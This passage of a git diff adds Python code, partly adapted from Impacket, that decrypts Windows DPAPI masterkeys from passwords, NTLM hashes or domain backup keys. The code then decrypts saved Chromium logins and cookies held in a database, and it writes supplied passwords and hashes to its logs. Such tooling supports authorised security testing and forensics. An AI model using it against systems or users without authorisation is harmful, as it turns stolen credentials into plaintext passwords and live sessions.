+ except Exception as e:
+ await logger.aexception(e, message="error decrypting state key DPAPI value")
+
+ # publish out to the chromium_state_file_processed_q_out queue
+ await self.out_q_chromiumstatefileprocessed.Send(event.SerializeToString())
+
+ @aio.time(Summary("process_authentication_data2", "Time spent processing a authentication data message")) # type: ignore
+ async def process_authentication_data(self, event: pb.AuthenticationDataIngestionMessage) -> None:
+ """Main function to process authentication_data events.
+
+ Specifically, we're looking for any message with the "type" of dpapi_master_key so we
+ can extract out the GUID:masterkey values and create a new masterkey in the database.
+ """
+
+ m = event.metadata
+
+ for i in range(len(event.data)):
+ data = event.data[i]
+
+ if data.type and data.type == "dpapi_master_key":
+ if ":" in data.data:
+ (guid, key) = data.data.split(":")
+ guid = guid.strip("{}")
+ username = data.username
+
+ obj = DpapiMasterkey(
+ agent_id=m.agent_id,
+ project_id=m.project,
+ source=m.source,
+ timestamp=m.timestamp.ToDatetime(),
+ expiration=m.expiration.ToDatetime(),
+ username=username,
+ masterkey_guid=uuid.UUID(guid),
+ is_decrypted=True,
+ decrypted_key_sha1=key,
+ )
+ await self.db.add_dpapi_masterkey(obj)
+
+ elif data.type and data.type == "password":
+ await self.decrypt_existing_dpapi_masterkeys_with_user_key(data.username, "password", data.data)
+
+ elif data.type and data.type == "ntlm_hash":
+ await self.decrypt_existing_dpapi_masterkeys_with_user_key(data.username, "ntlm_hash", data.data)
+
+
+ ###################################################
+ #
+ # DPAPI helpers
+ #
+ ###################################################
+
+ async def decrypt_chromium_aes_entry(self, state_key_bytes_dec: bytes, value_enc: bytes) -> str:
+ """Helper that takes a Chromium AES key and a cookie/login value and decrypts it.
+
+ Ref- https://stackoverflow.com/a/60423699
+ """
+
+ nonce = value_enc[3 : 3 + 12]
+ ciphertext = value_enc[3 + 12 : -16]
+ tag = value_enc[-16:]
+ cipher = AES.new(state_key_bytes_dec, AES.MODE_GCM, nonce=nonce)
+ plaintext = cipher.decrypt_and_verify(ciphertext, tag)
+ if plaintext and plaintext is not None:
+ return plaintext.decode("UTF-8")
+ else:
+ return ""
+
+ async def decrypt_dpapi_blob(self, blob_bytes):
+ """
+ Takes DPAPI blob bytes, queries the DB for an applicable decryption key,
+ and decrypts the bytes if possible.
+
+ Returns None on failure.
+ """
+
+ blob = DPAPI_BLOB(blob_bytes)
+
+ # extract the masterkey GUID from this DPAPI blob
+ masterkey_guid = bin_to_string(blob["GuidMasterKey"]).lower()
+
+ if masterkey_guid:
+ # check if this masterkey is decrypted in Postgres
+ results = await self.db.get_decrypted_dpapi_masterkey(masterkey_guid)
+
+ if results:
+ (masterkey_sha1, masterkey_full) = results
+ if masterkey_sha1:
+ return blob.decrypt(masterkey_sha1)
+ elif masterkey_full:
+ return blob.decrypt(masterkey_full)
+ else:
+ return None
+ else:
+ return None
+
+ async def decrypt_dpapi_masterkey(
+ self,
+ masterkey_bytes: bytes,
+ user_sid: str,
+ passwords: Optional[List[str]] = None,
+ ntlm_hashes: Optional[List[str]] = None,
+ ) -> Optional[Tuple[bytes, bytes]]:
+ """
+ Takes raw masterkey bytes + user sid and optional lists of plaintext
+ passwords and/or NTLM hashes and attempts to decrypt the masterkey,
+ returning the SHA1 and "full" keys if possible.
+
+ Returns None on failure.
+
+ TODO: any way to parallelize this?
+ """
+
+ mk = MasterKey(masterkey_bytes)
+
+ if passwords:
+ for password in passwords:
+ keys = await self.derive_keys_from_user(user_sid, password)
+ for key in list(keys):
+ decrypted_masterkey = mk.decrypt(key)
+ # print(f"Password key tried in: {time.time() - start} seconds ({key.hex()})")
+ if decrypted_masterkey:
+ return (decrypted_masterkey, SHA1.new(decrypted_masterkey).digest())
+ await logger.ainfo(f"Failed to decrypt DPAPI masterkey with {len(passwords)} total passwords")
+ if ntlm_hashes:
+ for ntlm_hash in ntlm_hashes:
+ keys = await self.derive_keys_from_user_key(user_sid, ntlm_hash)
+ for key in list(keys):
+ decrypted_masterkey = mk.decrypt(key)
+ # print(f"NTLM hash key tried in: {time.time() - start} seconds ({key.hex()})")
+ if decrypted_masterkey:
+ return (decrypted_masterkey, SHA1.new(decrypted_masterkey).digest())
+ await logger.ainfo(f"Failed to decrypt DPAPI masterkey with {len(ntlm_hashes)} NTLM hashes")
+ return None
+ else:
+ await logger.awarning("No passwords or ntlm hashes passed for masterkey decryption")
+
+ async def decrypt_dpapi_domain_masterkey(
+ self,
+ masterkey_secret_bytes: bytes,
+ domain_backupkey_guid: Optional[str] = None,
+ domain_backupkey_bytes: Optional[bytes] = None,
+ ) -> Optional[Tuple[bytes, bytes]]:
+ """
+ Takes the GUID of the specified domain DPAPI backup key and the `domainkey_pb_secret`
+ bytes from a masterkey, queries the DB for an applicable dpapi domain backupkey,
+ and decrypts the masterkey if possible, returning the SHA1 and "full" keys.
+
+ Returns None on failure.
+ """
+
+ if domain_backupkey_guid:
+ # query the DB for the bytes for this specific domain backup key GUID
+ domain_backupkey_bytes = await self.db.get_dpapi_domain_backupkey(domain_backupkey_guid)
+
+ if domain_backupkey_bytes:
+ # adapted from Impacket: https://github.com/fortra/impacket/blob/8799a1a2c42ad74423841d21ed5f4193ea54f3d5/examples/dpapi.py#L214-L224
+ # Apache License Version 1.1
+ key = PRIVATE_KEY_BLOB(domain_backupkey_bytes[len(PVK_FILE_HDR()) :])
+ private = privatekeyblob_to_pkcs1(key)
+ cipher = PKCS1_v1_5.new(private)
+ decrypted_key = cipher.decrypt(masterkey_secret_bytes[::-1], None)
+
+ if decrypted_key:
+ domain_master_key = DPAPI_DOMAIN_RSA_MASTER_KEY(decrypted_key)
+ full_key = domain_master_key["buffer"][: domain_master_key["cbMasterKey"]]
+ sha1_key = SHA1.new(full_key).digest()
+
+ # # For string representations:
+ # full_key = hexlify(key).decode('latin-1')
+ # sha1_key = hexlify(SHA1.new(key).digest()).decode('latin-1')
+
+ return (sha1_key, full_key)
+ else:
+ await logger.aerror("Failed to decrypt DPAPI masterkey with domain backupkey", domain_backupkey_guid=domain_backupkey_guid)
+ else:
+ return None
+
+ async def decrypt_existing_dpapi_masterkeys_with_user_key(self, username: str, key_type: str, key: str) -> None:
+ """
+ Given a username and password/NTLM hash, query the DB for any
+ masterkeys for that username and attempt to decrypt the masterkey
+ with the plaintext or hash.
+
+ key_type -> "password" or "ntlm_hash"
+
+ This is "retroactive" masterkey decryption with a password/hash.
+ """
+
+ await logger.adebug("Decrypt masterkeys protected a password/NTLM hash", username=username, key_type=key_type, key=key)
+
+ encrypted_masterkeys = await self.db.get_encrypted_dpapi_masterkeys_from_username(username)
+
+ if not encrypted_masterkeys:
+ await logger.ainfo("No masterkeys found in the DB matching the username", username=username)
+ return
+ else:
+ await logger.ainfo(
+ "Found masterkeys in the DB matching the username",
+ username=username,
+ count=len(encrypted_masterkeys),
+ )
+
+ # await self.decrypt_dpapi_masterkey()
+ decrypted_masterkeys = 0
+ for masterkey in encrypted_masterkeys:
+ masterkey_guid = masterkey[0]
+ user_sid = masterkey[1]
+ masterkey_bytes = masterkey[2]
+
+ if key_type == "password":
+ results = await self.decrypt_dpapi_masterkey(masterkey_bytes, user_sid, [key], [])
+ else:
+ results = await self.decrypt_dpapi_masterkey(masterkey_bytes, user_sid, [], [key])
+
+ if results:
+ decrypted_masterkeys += 1
+ decrypted_key_full = results[0]
+ decrypted_key_sha1 = results[1]
+
+ # update the masterkey in the DB with the decrypted values
+ await self.db.update_decrypted_dpapi_masterkey(masterkey_guid, decrypted_key_sha1, decrypted_key_full)
+
+ # decrypt existing DPAPI blobs
+ await self.decrypt_existing_dpapi_blobs(masterkey_guid)
+
+ # decrypt existing Chromium data
+ await self.decrypt_existing_chromium_data(masterkey_guid)
+
+ await logger.adebug(
+ "Decrypted any existing blobs protected by the newly decrypted GUID master key", masterkey_guid=masterkey_guid
+ )
+ else:
+ await logger.aerror(
+ "Failed to decrypt DPAPI masterkey supplied password/NTLM hash",
+ masterkey_guid=masterkey_guid,
+ key_type=key_type,
+ key=key,
+ )
+
+ async def decrypt_existing_dpapi_masterkeys_with_domain_key(self, domain_backupkey_guid: str) -> None:
+ """
+ Given a domain_backupkey_guid, query the DB for any linked encrypted
+ masterkeys, decrypting the keys and updating the encrypted value if
+ decryption is successful.
+
+ This is "retroactive" masterkey decryption with a domain key.
+ """
+ await logger.adebug("Decrypt masterkeys protected by the GUID domain backupkey", domain_backupkey_guid=domain_backupkey_guid)
+
+ # query the DB for the bytes for this specific domain backup key GUID
+ domain_backupkey_bytes = await self.db.get_dpapi_domain_backupkey(domain_backupkey_guid)
+
+ if not domain_backupkey_bytes:
+ await logger.ainfo("No domain backupkey found in the DB", domain_backupkey_guid=domain_backupkey_guid)
+ return
+
+ # query the DB for any masterkeys protected by this domain backupkey
+ encrypted_masterkeys = await self.db.get_encrypted_dpapi_masterkeys_from_backup_guid(domain_backupkey_guid)
+ if not encrypted_masterkeys:
+ await logger.ainfo("No masterkeys found in the DB matching the domain backup key", domain_backupkey_guid=domain_backupkey_guid)
+ return
+ else:
+ await logger.ainfo(
+ "Found masterkeys in the DB matching the domain backup key",
+ domain_backupkey_guid=domain_backupkey_guid,
+ count=len(encrypted_masterkeys),
+ )
+
+ decrypted_masterkeys = 0
+ for masterkey in encrypted_masterkeys:
+ masterkey_guid = masterkey[0]
+ domainkey_pb_secret = masterkey[1]
+
+ results = await self.decrypt_dpapi_domain_masterkey(domainkey_pb_secret, domain_backupkey_bytes=domain_backupkey_bytes)
+
+ if results:
+ decrypted_masterkeys += 1
+ decrypted_key_sha1 = results[0]
+ decrypted_key_full = results[1]
+
+ # update the masterkey in the DB with the decrypted values
+ await self.db.update_decrypted_dpapi_masterkey(masterkey_guid, decrypted_key_sha1, decrypted_key_full)
+
+ # decrypt existing DPAPI blobs
+ await self.decrypt_existing_dpapi_blobs(masterkey_guid)
+
+ # decrypt existing Chromium data
+ await self.decrypt_existing_chromium_data(masterkey_guid)
+
+ await logger.adebug(
+ "Decrypted any existing blobs protected by the newly decrypted GUID master key", masterkey_guid=masterkey_guid
+ )
+ else:
+ await logger.aerror(
+ "Failed to decrypt DPAPI masterkey with domain backupkey",
+ masterkey_guid=masterkey_guid,
+ domain_backupkey_guid=domain_backupkey_guid,
+ )
+
+ async def decrypt_existing_dpapi_blobs(self, masterkey_guid: str):
+ """
+ Given a masterkey_guid, query the DB for any linked encrypted
+ blobs, decrypting the blobs and updating the encrypted value if
+ decryption is successful.
+
+ This is "retroactive" decryption for DPAPI blobs.
+ """
+
+ # get the decrypted masterkey bytes for the masterkey GUID
+ masterkey_keys = await self.db.get_decrypted_dpapi_masterkey(masterkey_guid)
+
+ if masterkey_keys:
+ (masterkey_sha1, masterkey_full) = masterkey_keys
+ masterkey_bytes = masterkey_sha1 if masterkey_sha1 else masterkey_full
+
+ for blob in await self.db.get_encrypted_dpapi_blobs(masterkey_guid):
+ dpapi_blob_id = blob[0]
+ is_file = blob[1]
+ enc_data_bytes = blob[2]
+ enc_data_object_id = blob[3]
+
+ if is_file:
+ # if this blob is over 1024 bytes, it's uploaded to S3
+ with await self.storage.download(enc_data_object_id) as temp_file:
+ # download the file and try to decrypt these bytes
+ with open(temp_file.name, "rb") as f:
+ enc_data_bytes = f.read()
+
+ # try to decrypt this blob if there's a linked key
+ dec_data = DPAPI_BLOB(enc_data_bytes).decrypt(masterkey_bytes)
+
+ if not dec_data:
+ raise RuntimeError("Failed to decrypt DPAPI blob despite having a plaintext masterkey")
+
+ await logger.adebug("Decrypted DPAPI blob with masterkey", dpapi_blob_id=dpapi_blob_id, masterkey_guid=masterkey_guid)
+ if is_file:
+ # if the original enc_bytes were stored as a S3 file, store the decypted bytes in S3 as well
+ async with TempFile(self.data_download_dir) as temp_file_dec:
+ with open(temp_file_dec.path, "wb") as f:
+ f.write(dec_data)
+
+ decrypted_file_uuid = await self.storage.upload(temp_file_dec.path)
+ await self.db.update_decrypted_dpapi_blob(dpapi_blob_id, None, decrypted_file_uuid)
+ else:
+ await self.db.update_decrypted_dpapi_blob(dpapi_blob_id, dec_data, None)
+ else:
+ await logger.adebug("No decrypted masterkeys found for masterkey GUID", masterkey_guid=masterkey_guid)
+
+ async def decrypt_existing_chromium_data(self, masterkey_guid):
+ """
+ Given a masterkey_guid, query the DB for any linked encrypted
+ Chromium data, decrypting the data and updating the associated
+ values if decryption is successful.
+
+ This is "retroactive" decryption for Chromium DPAPI data.
+
+ Chromium data processed: logins, cookies, state files
+ """
+
+ # get the decrypted masterkey bytes for the masterkey GUID
+ masterkey_keys = await self.db.get_decrypted_dpapi_masterkey(masterkey_guid)
+
+ if masterkey_keys:
+ (masterkey_sha1, masterkey_full) = masterkey_keys
+ masterkey_bytes = masterkey_sha1 if masterkey_sha1 else masterkey_full
+
+ # first check for Chromium state keys protected by this masterkey
+ for state_file in await self.db.get_encrypted_chromium_state_key(masterkey_guid):
+ (source, user_data_directory, unique_db_id, key_bytes_enc, app_bound_fixed_data_enc) = state_file
+
+ # try to decrypt this state key if there's a linked key
+ key_bytes_dec = DPAPI_BLOB(key_bytes_enc).decrypt(masterkey_bytes)
+ app_bound_fixed_data_dec = None
+
+ # try:
+ # # TODO: this isn't working properly, something with padding on decryption
+ # app_bound_fixed_data_blob = await helpers.parse_dpapi_blob(app_bound_fixed_data_enc)
+ # blob = DPAPI_BLOB(app_bound_fixed_data_blob.dpapi_data)
+ # app_bound_fixed_data_dec = blob.decrypt(masterkey_bytes)
+ # except Exception as e:
+ # await logger.adebug(
+ # "Error decypting app_bound_fixed_data value",
+ # exception=f"{e}",
+ # unique_db_id=unique_db_id,
+ # masterkey_guid=masterkey_guid,
+ # )
+
+ if not key_bytes_dec:
+ raise RuntimeError("Failed to decrypt Chromium state encryption key despite having a plaintext masterkey")
+
+ await logger.adebug("Decrypted Chromium state key with masterkey", unique_db_id=unique_db_id, masterkey_guid=masterkey_guid)
+ await self.db.update_decrypted_chromium_state_key(unique_db_id, key_bytes_dec, app_bound_fixed_data_dec)
+
+ # NOW we have to retroactively decrypt any cookies/logins that use this AES key
+ decrypted_logins_count = 0
+ for login in await self.db.get_aes_encrypted_chromium_logins(source, user_data_directory):
+ unique_db_id = login[0]
+ password_value_enc = login[1]
+ plaintext = await self.decrypt_chromium_aes_entry(key_bytes_dec, password_value_enc)
+ if plaintext:
+ decrypted_logins_count += 1
+ await self.db.update_decrypted_chromium_login(unique_db_id, plaintext)
+
+ if decrypted_logins_count > 0:
+ await logger.adebug(
+ "Decrypted existing Chromium logins with newly Chromium state key", decrypted_logins_count=decrypted_logins_count
+ )
+
+ decrypted_cookies_count = 0
+ for cookie in await self.db.get_aes_encrypted_chromium_cookies(source, user_data_directory):
+ unique_db_id = cookie[0]
+ value_dec = cookie[1]
+ try:
+ plaintext = await self.decrypt_chromium_aes_entry(key_bytes_dec, value_dec)
+ if plaintext:
+ decrypted_cookies_count += 1
+ await self.db.update_decrypted_chromium_cookie(unique_db_id, plaintext)
+ except Exception as e:
+ await logger.aerror(
+ "Error AES decrypting cookie value",
+ exception=e,
+ unique_db_id=unique_db_id,
+ source=source,
+ user_data_directory=user_data_directory,
+ )
+
+ if decrypted_cookies_count > 0:
+ await logger.adebug(
+ "Decrypted existing Chromium cookies with newly Chromium state key", decrypted_cookies_count=decrypted_cookies_count
+ )
+
+ # then try for any DPAPI protected Logins
+ for login in await self.db.get_dpapi_encrypted_chromium_logins(masterkey_guid):
+ unique_db_id = login[0]
+ password_value_enc = login[1]
+
+ # try to decrypt this login value if there's a linked key
+ password_value_dec = DPAPI_BLOB(password_value_enc).decrypt(masterkey_bytes)
+
+ if not password_value_dec:
+ raise RuntimeError("Failed to decrypt Chromium login despite having a plaintext masterkey")
+
+ password_value_dec = password_value_dec.decode("UTF-8")
+
+ await logger.adebug("Decrypted Chromium login with masterkey", unique_db_id=unique_db_id, masterkey_guid=masterkey_guid)
+ await self.db.update_decrypted_chromium_login(unique_db_id, password_value_dec)
+
+ # finally check for any DPAPI protected Cookies
+ for cookie in await self.db.get_dpapi_encrypted_chromium_cookies(masterkey_guid):
+ unique_db_id = cookie[0]
+ password_value_enc = cookie[1]
+
+ # try to decrypt this login value if there's a linked key
+ value_dec = DPAPI_BLOB(password_value_enc).decrypt(masterkey_bytes)
+
+ if not value_dec:
+ raise RuntimeError("Failed to decrypt Chromium cookie despite having a plaintext masterkey")
+
+ value_dec = value_dec.decode("UTF-8")
+
+ await logger.adebug("Decrypted Chromium cookie with masterkey", unique_db_id=unique_db_id, masterkey_guid=masterkey_guid)
+ await self.db.update_decrypted_chromium_cookie(unique_db_id, value_dec)
+
+ async def derive_keys_from_user(self, sid, password):
+ """
+ Given a user SID and password, derive the DPAPI masterkey keys needed.
+
+ TODO: not yet used
+
+ From https://github.com/SecureAuthCorp/impacket/blob/7a18ef5c8b06aac5e36334927789429777382928/examples/dpapi.py#L94
+ Apache License Version 1.1
+ """
+ # Will generate two keys, one with SHA1 and another with MD4
+ key1 = HMAC.new(SHA1.new(password.encode("utf-16le")).digest(), (sid + "\0").encode("utf-16le"), SHA1).digest()
+ key2 = HMAC.new(MD4.new(password.encode("utf-16le")).digest(), (sid + "\0").encode("utf-16le"), SHA1).digest()
+ # For Protected users
+ # TODO!!
+ tmpKey = pbkdf2_hmac("sha256", MD4.new(password.encode("utf-16le")).digest(), sid.encode("utf-16le"), 10000)
+ tmpKey2 = pbkdf2_hmac("sha256", tmpKey, sid.encode("utf-16le"), 1)[:16]
+ key3 = HMAC.new(tmpKey2, (sid + "\0").encode("utf-16le"), SHA1).digest()[:20]
+ return key1, key2, key3
+
+ async def derive_keys_from_user_key(self, sid, pwdhash):
+ """
+ Given a user SID and NTLM hash, derive the DPAPI masterkey keys needed.
+
+ TODO: not yet used
+
+ From https://github.com/SecureAuthCorp/impacket/blob/7a18ef5c8b06aac5e36334927789429777382928/examples/dpapi.py#L105
+ Apache License Version 1.1
+ """
+ pwdhash = bytes.fromhex(pwdhash)
+ if len(pwdhash) == 20:
+ # SHA1
+ key1 = HMAC.new(pwdhash, (sid + "\0").encode("utf-16le"), SHA1).digest()
+ key2 = None
+ else:
+ # Assume MD4
+ key1 = HMAC.new(pwdhash, (sid + "\0").encode("utf-16le"), SHA1).digest()
+ # For Protected users
+ tmpKey = pbkdf2_hmac("sha256", pwdhash, sid.encode("utf-16le"), 10000)
+ tmpKey2 = pbkdf2_hmac("sha256", tmpKey, sid.encode("utf-16le"), 1)[:16]
+ key2 = HMAC.new(tmpKey2, (sid + "\0").encode("utf-16le"), SHA1).digest()[:20]
+ return key1, key2
diff --git a/cmd/enrichment/enrichment/tasks/dpapi/dpapi_blob.py b/cmd/enrichment/enrichment/tasks/dpapi/dpapi_blob.py
new file mode 100644
index 0000000..a29c84c
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/dpapi/dpapi_blob.py
@@ -0,0 +1,336 @@
+# Adapted from https://github.com/fortra/impacket/blob/8799a1a2c42ad74423841d21ed5f4193ea54f3d5/examples/dpapi.py
+# Apache License Version 1.1
+# Just contains DPAPI_BLOB
+# Modifications by @harmj0y: tweaked to allow SHA1 or full keys
+
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# Copyright (C) 2022 Fortra. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+# DPAPI and Windows Vault parsing structures and manipulation
+#
+# Author:
+# Alberto Solino (@agsolino)
+#
+# References:
+# All of the work done by these guys. I just adapted their work to my needs.
+# - https://www.passcape.com/index.php?section=docsys&cmd=details&id=28
+# - https://github.com/jordanbtucker/dpapick
+# - https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials (and everything else Ben did)
+# - http://blog.digital-forensics.it/2016/01/windows-revaulting.html
+# - https://www.passcape.com/windows_password_recovery_vault_explorer
+# - https://www.passcape.com/windows_password_recovery_dpapi_master_key
+#
+
+# Standard Libraries
+from binascii import hexlify, unhexlify
+from datetime import datetime
+from struct import pack, unpack
+
+# 3rd Party Libraries
+from Cryptodome.Cipher import AES, DES3
+from Cryptodome.Hash import HMAC, SHA1, SHA512
+from Cryptodome.PublicKey import RSA
+from Cryptodome.Util.Padding import unpad
+from impacket.dcerpc.v5.enum import Enum
+from impacket.structure import Structure
+from impacket.uuid import bin_to_string
+
+# Algorithm classes
+ALG_CLASS_ANY = 0
+ALG_CLASS_SIGNATURE = 1 << 13
+ALG_CLASS_MSG_ENCRYPT = 2 << 13
+ALG_CLASS_DATA_ENCRYPT = 3 << 13
+ALG_CLASS_HASH = 4 << 13
+ALG_CLASS_KEY_EXCHANGE = 5 << 13
+ALG_CLASS_ALL = 7 << 13
+
+# Algorithm types
+ALG_TYPE_ANY = 0
+ALG_TYPE_DSS = 1 << 9
+ALG_TYPE_RSA = 2 << 9
+ALG_TYPE_BLOCK = 3 << 9
+ALG_TYPE_STREAM = 4 << 9
+ALG_TYPE_DH = 5 << 9
+ALG_TYPE_SECURECHANNEL = 6 << 9
+ALG_SID_ANY = 0
+ALG_SID_RSA_ANY = 0
+ALG_SID_RSA_PKCS = 1
+ALG_SID_RSA_MSATWORK = 2
+ALG_SID_RSA_ENTRUST = 3
+ALG_SID_RSA_PGP = 4
+ALG_SID_DSS_ANY = 0
+ALG_SID_DSS_PKCS = 1
+ALG_SID_DSS_DMS = 2
+ALG_SID_ECDSA = 3
+
+# Block cipher sub ids
+ALG_SID_DES = 1
+ALG_SID_3DES = 3
+ALG_SID_DESX = 4
+ALG_SID_IDEA = 5
+ALG_SID_CAST = 6
+ALG_SID_SAFERSK64 = 7
+ALG_SID_SAFERSK128 = 8
+ALG_SID_3DES_112 = 9
+ALG_SID_CYLINK_MEK = 12
+ALG_SID_RC5 = 13
+ALG_SID_AES_128 = 14
+ALG_SID_AES_192 = 15
+ALG_SID_AES_256 = 16
+ALG_SID_AES = 17
+ALG_SID_SKIPJACK = 10
+ALG_SID_TEK = 11
+
+CRYPT_MODE_CBCI = 6 # ANSI CBC Interleaved
+CRYPT_MODE_CFBP = 7 # ANSI CFB Pipelined
+CRYPT_MODE_OFBP = 8 # ANSI OFB Pipelined
+CRYPT_MODE_CBCOFM = 9 # ANSI CBC + OF Masking
+CRYPT_MODE_CBCOFMI = 10 # ANSI CBC + OFM Interleaved
+
+ALG_SID_RC2 = 2
+ALG_SID_RC4 = 1
+ALG_SID_SEAL = 2
+
+# Diffie - Hellman sub - ids
+ALG_SID_DH_SANDF = 1
+ALG_SID_DH_EPHEM = 2
+ALG_SID_AGREED_KEY_ANY = 3
+ALG_SID_KEA = 4
+ALG_SID_ECDH = 5
+
+# Hash sub ids
+ALG_SID_MD2 = 1
+ALG_SID_MD4 = 2
+ALG_SID_MD5 = 3
+ALG_SID_SHA = 4
+ALG_SID_SHA1 = 4
+ALG_SID_MAC = 5
+ALG_SID_RIPEMD = 6
+ALG_SID_RIPEMD160 = 7
+ALG_SID_SSL3SHAMD5 = 8
+ALG_SID_HMAC = 9
+ALG_SID_TLS1PRF = 10
+ALG_SID_HASH_REPLACE_OWF = 11
+ALG_SID_SHA_256 = 12
+ALG_SID_SHA_384 = 13
+ALG_SID_SHA_512 = 14
+
+# secure channel sub ids
+ALG_SID_SSL3_MASTER = 1
+ALG_SID_SCHANNEL_MASTER_HASH = 2
+ALG_SID_SCHANNEL_MAC_KEY = 3
+ALG_SID_PCT1_MASTER = 4
+ALG_SID_SSL2_MASTER = 5
+ALG_SID_TLS1_MASTER = 6
+ALG_SID_SCHANNEL_ENC_KEY = 7
+ALG_SID_ECMQV = 1
+
+
+def getFlags(myenum, flags):
+ return "|".join([name for name, member in myenum.__members__.items() if member.value & flags])
+
+
+class FLAGS(Enum):
+ CRYPTPROTECT_UI_FORBIDDEN = 0x1
+ CRYPTPROTECT_LOCAL_MACHINE = 0x4
+ CRYPTPROTECT_CRED_SYNC = 0x8
+ CRYPTPROTECT_AUDIT = 0x10
+ CRYPTPROTECT_VERIFY_PROTECTION = 0x40
+ CRYPTPROTECT_CRED_REGENERATE = 0x80
+ CRYPTPROTECT_SYSTEM = 0x20000000
+
+
+# algorithm identifier definitions
+class ALGORITHMS(Enum):
+ CALG_MD2 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD2
+ CALG_MD4 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD4
+ CALG_MD5 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD5
+ CALG_SHA = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA
+ CALG_SHA1 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA1
+ CALG_RSA_SIGN = ALG_CLASS_SIGNATURE | ALG_TYPE_RSA | ALG_SID_RSA_ANY
+ CALG_DSS_SIGN = ALG_CLASS_SIGNATURE | ALG_TYPE_DSS | ALG_SID_DSS_ANY
+ CALG_NO_SIGN = ALG_CLASS_SIGNATURE | ALG_TYPE_ANY | ALG_SID_ANY
+ CALG_RSA_KEYX = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_RSA | ALG_SID_RSA_ANY
+ CALG_DES = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_DES
+ CALG_3DES_112 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_3DES_112
+ CALG_3DES = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_3DES
+ CALG_DESX = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_DESX
+ CALG_RC2 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_RC2
+ CALG_RC4 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_STREAM | ALG_SID_RC4
+ CALG_SEAL = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_STREAM | ALG_SID_SEAL
+ CALG_DH_SF = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_DH_SANDF
+ CALG_DH_EPHEM = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_DH_EPHEM
+ CALG_AGREEDKEY_ANY = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_AGREED_KEY_ANY
+ CALG_KEA_KEYX = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_KEA
+ CALG_HUGHES_MD5 = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_ANY | ALG_SID_MD5
+ CALG_SKIPJACK = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_SKIPJACK
+ CALG_TEK = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_TEK
+ CALG_SSL3_SHAMD5 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SSL3SHAMD5
+ CALG_SSL3_MASTER = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_SSL3_MASTER
+ CALG_SCHANNEL_MASTER_HASH = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_SCHANNEL_MASTER_HASH
+ CALG_SCHANNEL_MAC_KEY = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_SCHANNEL_MAC_KEY
+ CALG_SCHANNEL_ENC_KEY = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_SCHANNEL_ENC_KEY
+ CALG_PCT1_MASTER = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_PCT1_MASTER
+ CALG_SSL2_MASTER = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_SSL2_MASTER
+ CALG_TLS1_MASTER = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_TLS1_MASTER
+ CALG_RC5 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_RC5
+ CALG_HMAC = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HMAC
+ CALG_TLS1PRF = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_TLS1PRF
+ CALG_HASH_REPLACE_OWF = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HASH_REPLACE_OWF
+ CALG_AES_128 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_AES_128
+ CALG_AES_192 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_AES_192
+ CALG_AES_256 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_AES_256
+ CALG_AES = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_AES
+ CALG_SHA_256 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_256
+ CALG_SHA_384 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_384
+ CALG_SHA_512 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_512
+ CALG_ECDH = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_ECDH
+ CALG_ECMQV = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_ANY | ALG_SID_ECMQV
+ CALG_ECDSA = ALG_CLASS_SIGNATURE | ALG_TYPE_DSS | ALG_SID_ECDSA
+
+
+ALGORITHMS_DATA = {
+ # Algorithm: key/SaltLen, CryptHashModule, Mode, IVLen, BlockSize
+ ALGORITHMS.CALG_SHA.value: (160 // 8, SHA1, None, None, 512 // 8),
